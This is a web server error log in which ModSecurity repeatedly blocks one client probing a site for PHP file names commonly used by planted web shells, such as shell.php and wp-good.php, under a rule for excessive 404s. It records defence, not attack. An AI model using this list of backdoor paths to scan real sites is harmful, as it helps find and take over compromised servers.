[Sat Apr 18 10:33:58.369027 2026] [:error] [pid 34290:tid 34330] [client 135.225.27.101:7860] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeLtlhqX6WpmmAXOBi-QaAAAAcs"]
[Sat Apr 18 10:33:58.893811 2026] [:error] [pid 9863:tid 9896] [client 135.225.27.101:7828] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeLtljjjiypiFrTucbJaVQAAABc"]
[Sat Apr 18 10:33:59.472703 2026] [:error] [pid 34290:tid 34329] [client 135.225.27.101:57041] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeLtlxqX6WpmmAXOBi-QbQAAAco"]
[Sat Apr 18 10:34:00.220313 2026] [:error] [pid 9865:tid 9955] [client 135.225.27.101:7816] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeLtmKzb5knECIY-C-j74QAAAJI"]
[Sat Apr 18 10:34:01.103512 2026] [:error] [pid 34290:tid 34337] [client 135.225.27.101:57043] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeLtmRqX6WpmmAXOBi-QcAAAAdI"]
[Sat Apr 18 10:34:01.987689 2026] [:error] [pid 34290:tid 34341] [client 135.225.27.101:7824] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeLtmRqX6WpmmAXOBi-QcQAAAdY"]
[Sat Apr 18 10:34:02.579540 2026] [:error] [pid 9865:tid 9961] [client 135.225.27.101:57055] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeLtmqzb5knECIY-C-j74wAAAJg"]
[Sat Apr 18 10:34:03.329451 2026] [:error] [pid 34290:tid 34325] [client 135.225.27.101:7836] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeLtmxqX6WpmmAXOBi-QcgAAAcY"]
[Sat Apr 18 10:34:04.544195 2026] [:error] [pid 34290:tid 34333] [client 135.225.27.101:57058] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeLtnBqX6WpmmAXOBi-QggAAAc4"]
[Sat Apr 18 10:34:06.003620 2026] [:error] [pid 34290:tid 34331] [client 135.225.27.101:7814] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeLtnhqX6WpmmAXOBi-QjAAAAcw"]
[Sat Apr 18 10:34:06.755966 2026] [:error] [pid 9865:tid 9942] [client 135.225.27.101:7837] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeLtnqzb5knECIY-C-j75AAAAIU"]
[Sat Apr 18 10:34:07.768384 2026] [:error] [pid 9863:tid 9889] [client 135.225.27.101:25307] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeLtnzjjiypiFrTucbJaWQAAABA"]
[Sat Apr 18 10:34:08.307932 2026] [:error] [pid 9970:tid 9981] [client 135.225.27.101:57024] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeLtoCYdRLRhVmaIMx0ulAAAAMc"]
[Sat Apr 18 10:34:08.884468 2026] [:error] [pid 13023:tid 13041] [client 135.225.27.101:25327] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeLtoP1e7hG8DAeABB92zQAAARA"]
[Sat Apr 18 10:34:09.514674 2026] [:error] [pid 34237:tid 34248] [client 135.225.27.101:57067] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeLtoRBmX4Wq5a6rxfYYRAAAAUk"]
[Sat Apr 18 10:34:10.130748 2026] [:error] [pid 9970:tid 9991] [client 135.225.27.101:7864] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeLtoiYdRLRhVmaIMx0umAAAANE"]
[Sat Apr 18 10:34:10.693340 2026] [:error] [pid 34237:tid 34239] [client 135.225.27.101:57026] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeLtohBmX4Wq5a6rxfYYRwAAAUA"]
[Sat Apr 18 10:34:11.321166 2026] [:error] [pid 9970:tid 9980] [client 135.225.27.101:57031] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeLtoyYdRLRhVmaIMx0unAAAAMY"]
[Sat Apr 18 10:34:11.932077 2026] [:error] [pid 9970:tid 9995] [client 135.225.27.101:25285] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeLtoyYdRLRhVmaIMx0uoQAAANU"]
[Sat Apr 18 10:34:12.513542 2026] [:error] [pid 9970:tid 9986] [client 135.225.27.101:57059] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeLtpCYdRLRhVmaIMx0upgAAAMw"]
[Sat Apr 18 10:34:13.123055 2026] [:error] [pid 9970:tid 9991] [client 135.225.27.101:7820] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeLtpSYdRLRhVmaIMx0uqQAAANE"]
[Sat Apr 18 10:34:13.711392 2026] [:error] [pid 34290:tid 34323] [client 135.225.27.101:57047] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeLtpRqX6WpmmAXOBi-QkQAAAcQ"]
[Sat Apr 18 10:34:14.357509 2026] [:error] [pid 9863:tid 9890] [client 135.225.27.101:57068] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeLtpjjjiypiFrTucbJaXQAAABE"]
[Sat Apr 18 10:34:15.094758 2026] [:error] [pid 9970:tid 9988] [client 135.225.27.101:7846] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeLtpyYdRLRhVmaIMx0urQAAAM4"]
[Sat Apr 18 10:34:15.789191 2026] [:error] [pid 34288:tid 34308] [client 135.225.27.101:57030] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeLtp-TIiy__PtiLmpl55wAAAZA"]
[Sat Apr 18 10:34:16.478698 2026] [:error] [pid 34288:tid 34310] [client 135.225.27.101:25291] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeLtqOTIiy__PtiLmpl56gAAAZI"]
[Sat Apr 18 10:34:17.037876 2026] [:error] [pid 9865:tid 9949] [client 135.225.27.101:57053] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeLtqazb5knECIY-C-j75wAAAIw"]
[Sat Apr 18 10:34:17.768442 2026] [:error] [pid 34288:tid 34293] [client 135.225.27.101:25299] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeLtqeTIiy__PtiLmpl58QAAAYE"]
[Sat Apr 18 10:34:18.378555 2026] [:error] [pid 9970:tid 9997] [client 135.225.27.101:7841] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeLtqiYdRLRhVmaIMx0usQAAANc"]
[Sat Apr 18 10:34:19.038570 2026] [:error] [pid 34290:tid 34331] [client 135.225.27.101:25288] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeLtqxqX6WpmmAXOBi-QkgAAAcw"]
[Sat Apr 18 10:34:19.643835 2026] [:error] [pid 9970:tid 9974] [client 135.225.27.101:7842] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeLtqyYdRLRhVmaIMx0uuAAAAMA"]
[Sat Apr 18 10:34:20.284712 2026] [:error] [pid 9970:tid 9987] [client 135.225.27.101:57034] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeLtrCYdRLRhVmaIMx0uugAAAM0"]
[Sat Apr 18 10:34:20.913179 2026] [:error] [pid 34290:tid 34332] [client 135.225.27.101:7817] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeLtrBqX6WpmmAXOBi-QlAAAAc0"]
[Sat Apr 18 10:34:21.643841 2026] [:error] [pid 9863:tid 9878] [client 135.225.27.101:7867] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeLtrTjjiypiFrTucbJaXwAAAAU"]
[Sat Apr 18 10:34:22.224519 2026] [:error] [pid 34290:tid 34320] [client 135.225.27.101:7833] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeLtrhqX6WpmmAXOBi-QmgAAAcE"]
[Sat Apr 18 10:34:22.835872 2026] [:error] [pid 34290:tid 34343] [client 135.225.27.101:7843] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeLtrhqX6WpmmAXOBi-QnAAAAdg"]
[Sat Apr 18 10:34:23.464065 2026] [:error] [pid 34288:tid 34298] [client 135.225.27.101:7831] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeLtr-TIiy__PtiLmpl6CgAAAYY"]
[Sat Apr 18 10:34:24.076742 2026] [:error] [pid 9970:tid 9979] [client 135.225.27.101:57038] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeLtsCYdRLRhVmaIMx0uvwAAAMU"]
[Sat Apr 18 10:34:24.701631 2026] [:error] [pid 34237:tid 34241] [client 135.225.27.101:25311] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeLtsBBmX4Wq5a6rxfYYTwAAAUI"]
[Sat Apr 18 10:34:25.284830 2026] [:error] [pid 9970:tid 9988] [client 135.225.27.101:7834] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeLtsSYdRLRhVmaIMx0uxQAAAM4"]
[Sat Apr 18 10:34:25.873060 2026] [:error] [pid 34237:tid 34257] [client 135.225.27.101:25311] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeLtsRBmX4Wq5a6rxfYYUAAAAVI"]
[Sat Apr 18 10:34:26.451253 2026] [:error] [pid 34288:tid 34306] [client 135.225.27.101:57078] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeLtsuTIiy__PtiLmpl6HAAAAY4"]
[Sat Apr 18 10:34:27.019403 2026] [:error] [pid 13023:tid 13029] [client 135.225.27.101:7813] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeLts_1e7hG8DAeABB93FgAAAQQ"]
[Sat Apr 18 10:34:27.608854 2026] [:error] [pid 34290:tid 34329] [client 135.225.27.101:7855] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeLtsxqX6WpmmAXOBi-QoQAAAco"]
[Sat Apr 18 10:34:28.440496 2026] [:error] [pid 9865:tid 9959] [client 135.225.27.101:7808] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeLttKzb5knECIY-C-j77AAAAJY"]
[Sat Apr 18 10:34:29.098962 2026] [:error] [pid 13023:tid 13028] [client 135.225.27.101:7869] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeLttf1e7hG8DAeABB93IQAAAQM"]
[Sat Apr 18 10:34:29.697775 2026] [:error] [pid 9970:tid 9992] [client 135.225.27.101:7812] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeLttSYdRLRhVmaIMx0uxwAAANI"]
[Sat Apr 18 10:34:30.344735 2026] [:error] [pid 34290:tid 34339] [client 135.225.27.101:7856] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeLtthqX6WpmmAXOBi-QqAAAAdQ"]
[Sat Apr 18 10:34:30.986485 2026] [:error] [pid 9970:tid 9988] [client 135.225.27.101:25301] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeLttiYdRLRhVmaIMx0uyQAAAM4"]
[Sat Apr 18 10:34:31.556170 2026] [:error] [pid 13023:tid 13043] [client 135.225.27.101:7845] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeLtt_1e7hG8DAeABB93KwAAARI"]
[Sat Apr 18 10:34:32.393038 2026] [:error] [pid 13023:tid 13039] [client 135.225.27.101:25245] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeLtuP1e7hG8DAeABB93MQAAAQ4"]
[Sat Apr 18 10:34:33.271003 2026] [:error] [pid 34290:tid 34321] [client 135.225.27.101:57079] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeLtuRqX6WpmmAXOBi-QrwAAAcI"]
[Sat Apr 18 10:34:33.910885 2026] [:error] [pid 34290:tid 34338] [client 135.225.27.101:57085] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeLtuRqX6WpmmAXOBi-QsQAAAdM"]
[Sat Apr 18 10:34:34.506671 2026] [:error] [pid 9864:tid 9921] [client 135.225.27.101:57057] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeLtuoCFeowknfXHM7luPwAAAE8"]
[Sat Apr 18 10:34:35.034614 2026] [:error] [pid 34237:tid 34255] [client 135.225.27.101:25296] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aeLtuxBmX4Wq5a6rxfYYUwAAAVA"]
[Sat Apr 18 10:34:35.642523 2026] [:error] [pid 34288:tid 34308] [client 135.225.27.101:7862] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aeLtu-TIiy__PtiLmpl6PgAAAZA"]
[Sat Apr 18 10:35:22.175039 2026] [:error] [pid 9865:tid 9953] [client 135.225.27.101:7821] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeLt6qzb5knECIY-C-j8IwAAAJA"]
